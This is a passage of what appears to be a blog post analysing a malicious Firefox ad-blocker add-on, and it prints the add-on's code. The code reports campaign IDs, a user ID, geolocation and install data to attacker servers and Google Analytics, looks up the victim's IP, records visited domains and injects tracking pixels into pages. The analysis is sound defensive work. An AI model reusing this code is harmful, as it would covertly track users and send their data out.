class=\"p\">(<\/span><span class=\"kd\">function<\/span><span class=\"p\">(<\/span><span class=\"nx\">tab<\/span><span class=\"p\">){<\/span><span class=\"w\"> <\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">browser<\/span><span class=\"p\">.<\/span><span class=\"nx\">tabs<\/span><span class=\"p\">.<\/span><span class=\"nx\">onUpdated<\/span><span class=\"p\">.<\/span><span class=\"nx\">addListener<\/span><span class=\"p\">(<\/span><span class=\"nx\">handleUpdate<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"p\">});<\/span><span class=\"w\">   <\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">getUrlParameter<\/span><span class=\"p\">(<\/span><span class=\"nx\">name<\/span><span class=\"p\">,<\/span><span class=\"nx\">url<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"nx\">name<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">name<\/span><span class=\"p\">.<\/span><span class=\"nx\">replace<\/span><span class=\"p\">(<\/span><span class=\"sr\">\/[\\[]\/<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;\\\\[&#39;<\/span><span class=\"p\">).<\/span><span class=\"nx\">replace<\/span><span class=\"p\">(<\/span><span class=\"sr\">\/[\\]]\/<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;\\\\]&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">regex<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"ow\">new<\/span><span class=\"w\"> <\/span><span class=\"nb\">RegExp<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;[\\\\?&amp;]&#39;<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"nx\">name<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;=([^&amp;#]*)&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">results<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">regex<\/span><span class=\"p\">.<\/span><span class=\"nx\">exec<\/span><span class=\"p\">(<\/span><span class=\"nx\">url<\/span><span class=\"p\">);<\/span>\n<span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">campaignId<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\">  <\/span><span class=\"nx\">results<\/span><span class=\"w\"> <\/span><span class=\"o\">===<\/span><span class=\"w\"> <\/span><span class=\"kc\">null<\/span><span class=\"w\"> <\/span><span class=\"o\">?<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;&#39;<\/span><span class=\"w\"> <\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"nb\">decodeURIComponent<\/span><span class=\"p\">(<\/span><span class=\"nx\">results<\/span><span class=\"p\">[<\/span><span class=\"mf\">1<\/span><span class=\"p\">].<\/span><span class=\"nx\">replace<\/span><span class=\"p\">(<\/span><span class=\"sr\">\/\\+\/g<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39; &#39;<\/span><span class=\"p\">));<\/span>\n<span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">setItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;campaignID&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">campaignId<\/span><span class=\"p\">);<\/span>\n<span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">campaignId<\/span><span class=\"p\">);<\/span>\n<span class=\"nx\">setTimeout<\/span><span class=\"p\">(<\/span><span class=\"w\"> <\/span><span class=\"kd\">function<\/span><span class=\"p\">()<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\"> <\/span><span class=\"nx\">reportGA<\/span><span class=\"p\">(<\/span><span class=\"nx\">campaignId<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"p\">},<\/span><span class=\"w\"> <\/span><span class=\"mf\">10000<\/span><span class=\"p\">);<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>The malware not only includes the campaign ID in its alive\nmessage. In fact, it does report all campaign IDs is encounters\nin all URLs the victim is visiting:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">reportGA<\/span><span class=\"p\">(<\/span><span class=\"nx\">campaignID<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\"> <\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">uuid<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">uuid4<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">setItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;uuid&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">uuid<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">browser<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;firefox&quot;<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">dbtransport<\/span><span class=\"p\">();<\/span>\n\n<span class=\"w\">   <\/span><span class=\"c1\">\/\/embedPixel();<\/span>\n<span class=\"w\">   <\/span><span class=\"k\">try<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">request<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"ow\">new<\/span><span class=\"w\"> <\/span><span class=\"nx\">XMLHttpRequest<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">  <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">uri<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;v=1&amp;t=event&amp;tid=UA-93019183-1&amp;cid=&quot;<\/span><span class=\"o\">+<\/span><span class=\"nx\">uuid<\/span>\n<span class=\"w\">               <\/span><span class=\"o\">+<\/span><span class=\"s2\">&quot;&amp;aip=1&amp;ds=add-on&amp;ec=firefox&amp;ea=install_completed&amp;el=firefox_addon_installed&amp;cm=&quot;<\/span>\n<span class=\"w\">               <\/span><span class=\"o\">+<\/span><span class=\"nx\">campaignID<\/span><span class=\"o\">+<\/span><span class=\"s2\">&quot;&amp;es=browserextension&quot;<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">  <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">message<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nb\">encodeURI<\/span><span class=\"p\">(<\/span><span class=\"nx\">uri<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">  <\/span><span class=\"nx\">request<\/span><span class=\"p\">.<\/span><span class=\"nx\">open<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;POST&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;https:\/\/www.google-analytics.com\/collect&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kc\">true<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">  <\/span><span class=\"nx\">request<\/span><span class=\"p\">.<\/span><span class=\"nx\">setRequestHeader<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;User-Agent&quot;<\/span><span class=\"p\">,<\/span><span class=\"s2\">&quot;Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/51.0.2704.103 Safari\/537.36&quot;<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">      <\/span><span class=\"nx\">request<\/span><span class=\"p\">.<\/span><span class=\"nx\">send<\/span><span class=\"p\">(<\/span><span class=\"nx\">message<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">}<\/span><span class=\"w\"> <\/span><span class=\"k\">catch<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"nx\">e<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">       <\/span><span class=\"k\">this<\/span><span class=\"p\">.<\/span><span class=\"nx\">_log<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;Error sending report to Google Analytics.\\n&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"nx\">e<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>The previously installed <code>handleUpdate()<\/code> callback ultimately injects <a href=\"https:\/\/en.wikipedia.org\/wiki\/Web_beacon\">tracking pixel<\/a> code:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">handleUpdate<\/span><span class=\"p\">(<\/span><span class=\"nx\">tabId<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">changeInfo<\/span><span class=\"p\">,<\/span><span class=\"nx\">tab<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">tab<\/span><span class=\"p\">.<\/span><span class=\"nx\">url<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;https:\/\/www.youtube.com\/&quot;<\/span><span class=\"p\">)<\/span><span class=\"o\">!=-<\/span><span class=\"mf\">1<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"nx\">tab<\/span><span class=\"p\">.<\/span><span class=\"nx\">status<\/span><span class=\"o\">==<\/span><span class=\"s2\">&quot;complete&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">tab<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">setImage<\/span><span class=\"p\">(<\/span><span class=\"nx\">tabId<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">chrome<\/span><span class=\"p\">.<\/span><span class=\"nx\">tabs<\/span><span class=\"p\">.<\/span><span class=\"nx\">onUpdated<\/span><span class=\"p\">.<\/span><span class=\"nx\">removeListener<\/span><span class=\"p\">(<\/span><span class=\"nx\">handleUpdate<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">return<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">setImage<\/span><span class=\"p\">(<\/span><span class=\"nx\">tabId<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"nx\">browser<\/span><span class=\"p\">.<\/span><span class=\"nx\">tabs<\/span><span class=\"p\">.<\/span><span class=\"nx\">executeScript<\/span><span class=\"p\">(<\/span><span class=\"nx\">tabId<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\"> <\/span><span class=\"nx\">code<\/span><span class=\"o\">:<\/span>\n<span class=\"w\">          <\/span><span class=\"s1\">&#39;\\n          &#39;<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;var img = new Image();\\n&#39;<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;img.className = \\&#39;pixel\\&#39;;\\n&#39;<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;img.src = \\&#39;http:\/\/bursultry-exprights.com\/conversion.gif\\&#39;;\\n&#39;<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;document.body.appendChild(img);\\n&#39;<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">runAt<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;document_end&#39;<\/span><span class=\"w\"> <\/span><span class=\"p\">},<\/span><span class=\"w\"> <\/span><span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"p\">()<\/span><span class=\"w\"> <\/span><span class=\"p\">{});<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>That means the malware addon injects some Java Script code into each page that\nadds the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Web_beacon\">tracking pixel<\/a> image to the page's <a href=\"https:\/\/en.wikipedia.org\/wiki\/Document_Object_Model\">DOM tree<\/a>.<\/p>\n<p>When reporting the campaign ID etc. to <a href=\"https:\/\/en.wikipedia.org\/wiki\/Google_Analytics\">Google Analytics<\/a>,\nthe malware also reports this and other information to another\nURL - probably as a backup in case Google removes the attacker's\naccount:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">dbtransport<\/span><span class=\"p\">()<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">campaignId<\/span><span class=\"w\">  <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;campaignID&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">installDtTm<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;installDtTm&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">dauLastSeen<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;dauLastSeen&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">browser<\/span><span class=\"w\">     <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;browser&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">uuid<\/span><span class=\"w\">        <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;uuid&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">geoLocation<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;GEO&quot;<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">url<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;http:\/\/stage.adblocker.website\/report.php&quot;<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/var url = &quot;http:\/\/ojhasoftsolutions.in\/testsites\/adblock\/report.php&quot;;<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">data<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\">  <\/span><span class=\"s2\">&quot;uuid=&quot;<\/span><span class=\"o\">+<\/span><span class=\"nx\">uuid<\/span><span class=\"o\">+<\/span><span class=\"s2\">&quot;&amp;campaignid=&quot;<\/span><span class=\"o\">+<\/span><span class=\"nx\">campaignId<\/span><span class=\"o\">+<\/span><span class=\"s2\">&quot;&amp;browser=&quot;<\/span><span class=\"o\">+<\/span><span class=\"nx\">browser<\/span><span class=\"o\">+<\/span><span class=\"s2\">&quot;&amp;geo=&quot;<\/span><span class=\"o\">+<\/span><span class=\"nx\">geoLocation<\/span><span class=\"o\">+<\/span><span class=\"s2\">&quot;&amp;datinstall=&quot;<\/span><span class=\"o\">+<\/span><span class=\"nx\">installDtTm<\/span><span class=\"o\">+<\/span><span class=\"s2\">&quot;&amp;dauLastSeen=&quot;<\/span><span class=\"o\">+<\/span><span class=\"nx\">dauLastSeen<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"nx\">$<\/span><span class=\"p\">.<\/span><span class=\"nx\">ajax<\/span><span class=\"p\">({<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">type<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;POST&quot;<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">url<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"nx\">url<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">data<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"nx\">data<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">success<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"kd\">function<\/span><span class=\"p\">(){<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;Success&#39;<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">});<\/span><span class=\"w\">     <\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Note how the Malware previously send the data to\n<code>http:\/\/ojhasoftsolutions.in<\/code> and now sends it to\n<code>http:\/\/stage.adblocker.website<\/code>.<\/p>\n<p>The <a href=\"https:\/\/en.wikipedia.org\/wiki\/Geolocation\">Geolocation<\/a> comes from an extra HTTP request in the callback\nthat also queries the tabs:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nx\">$<\/span><span class=\"p\">.<\/span><span class=\"nx\">get<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;http:\/\/freegeoip.net\/json\/&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kd\">function<\/span><span class=\"p\">(<\/span><span class=\"w\"> <\/span><span class=\"nx\">data<\/span><span class=\"w\"> <\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\"> <\/span>\n<span class=\"w\">    <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">data<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">countryName<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">data<\/span><span class=\"p\">.<\/span><span class=\"nx\">country_name<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">countryName<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">setItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;GEO&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">countryName<\/span><span class=\"p\">);<\/span><span class=\"w\">       <\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/localStorage.setItem(&quot;countryCode&quot;, data.country_code);<\/span>\n<span class=\"p\">});<\/span>\n<\/code><\/pre><\/div>\n\n<p>Interestingly, the <code>freegeoip.net<\/code> service has <a href=\"https:\/\/github.com\/apilayer\/freegeoip#readme\">shut down its\nopen API<\/a> as of March, 2018. The new API requires an API\nkey (free ones are available).<\/p>\n<p>In <code>js\/tab.js<\/code>, the malware addon removes some logic for filtering youtube, e.g.:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"cm\">\/* <\/span>\n<span class=\"cm\">if(pageURL.indexOf(&quot;youtube.com&quot;)==-1)<\/span>\n<span class=\"cm\">{<\/span>\n<span class=\"cm\">    console.log(&quot;Blocked if only youtube&quot;)<\/span>\n<span class=\"cm\">    return &#39;http:\/\/behind-the-scene\/&#39;;<\/span>\n<span class=\"cm\">}<\/span>\n<span class=\"cm\">*\/<\/span>\n<\/code><\/pre><\/div>\n\n<p>In <code>js\/ublock.js<\/code> the malware seems to deactivate some blacklisting functionality:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"c1\">\/\/console.log(&#39;getNetFilteringSwitch&#39;);<\/span>\n<span class=\"c1\">\/\/console.log(url);<\/span>\n<span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"ow\">typeof<\/span><span class=\"w\"> <\/span><span class=\"k\">this<\/span><span class=\"p\">.<\/span><span class=\"nx\">netBlackList<\/span><span class=\"p\">[<\/span><span class=\"nx\">key<\/span><span class=\"p\">]<\/span><span class=\"o\">==<\/span><span class=\"s2\">&quot;undefined&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/console.log(&#39;Not Blocking ...&#39;);<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/console.log(key);<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"kc\">false<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>In <code>js\/vapi-background.js<\/code>, the Malware retrieves the external IP\naddress of the victim for later collection:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">is_ip_address_set<\/span><span class=\"p\">()<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\">  <\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">xhr2<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"ow\">new<\/span><span class=\"w\"> <\/span><span class=\"nx\">XMLHttpRequest<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">xhr2<\/span><span class=\"p\">.<\/span><span class=\"nx\">open<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;GET&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;https:\/\/api.ipify.org\/?format=json&quot;<\/span><span class=\"w\"> <\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kc\">true<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">xhr2<\/span><span class=\"p\">.<\/span><span class=\"nx\">send<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">xhr2<\/span><span class=\"p\">.<\/span><span class=\"nx\">onreadystatechange<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"kd\">function<\/span><span class=\"p\">()<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">       <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">xhr2<\/span><span class=\"p\">.<\/span><span class=\"nx\">readyState<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"mf\">4<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"nx\">xhr2<\/span><span class=\"p\">.<\/span><span class=\"nx\">status<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"mf\">200<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">           <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">list<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nb\">JSON<\/span><span class=\"p\">.<\/span><span class=\"nx\">parse<\/span><span class=\"p\">(<\/span><span class=\"nx\">xhr2<\/span><span class=\"p\">.<\/span><span class=\"nx\">responseText<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">           <\/span><span class=\"nx\">myIpAddressFunction<\/span><span class=\"p\">(<\/span><span class=\"nx\">list<\/span><span class=\"p\">.<\/span><span class=\"nx\">ip<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">       <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">myIpAddressFunction<\/span><span class=\"p\">(<\/span><span class=\"nx\">u_ip_address<\/span><span class=\"p\">){<\/span><span class=\"w\"> <\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">setItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;u_ip_address&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">u_ip_address<\/span><span class=\"p\">);<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Again, it uses yet another free web service for this: the open\n<a href=\"https:\/\/www.ipify.org\/\">api.ipify.org<\/a> service is known to be used for diverse\npurposes, including nefarious ones. Apparently, some of <a href=\"https:\/\/www.rdegges.com\/2018\/to-30-billion-and-beyond\/\">its\nburst traffic is mainly caused by malware<\/a>.<\/p>\n<p>Besides tracking the victim's IP, there is also some code for\ntracking each domain the victim is visiting:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"cm\">\/**<\/span>\n<span class=\"cm\"> * Description: stored all the open tabs in an array<\/span>\n<span class=\"cm\"> * return void<\/span>\n<span class=\"cm\"> *\/<\/span>\n<span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">save_all_tabs_opened<\/span><span class=\"p\">()<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\">  <\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">local_tabs_domains<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"p\">[];<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">browser<\/span><span class=\"p\">.<\/span><span class=\"nx\">tabs<\/span><span class=\"p\">.<\/span><span class=\"nx\">query<\/span><span class=\"p\">({},<\/span><span class=\"kd\">function<\/span><span class=\"p\">(<\/span><span class=\"nx\">tabs<\/span><span class=\"p\">){<\/span>\n<span class=\"w\">       <\/span><span class=\"nx\">tabs<\/span><span class=\"p\">.<\/span><span class=\"nx\">forEach<\/span><span class=\"p\">(<\/span><span class=\"kd\">function<\/span><span class=\"p\">(<\/span><span class=\"nx\">tab<\/span><span class=\"p\">){<\/span>\n<span class=\"w\">           <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">query_string<\/span><span class=\"w\"> <\/span><span 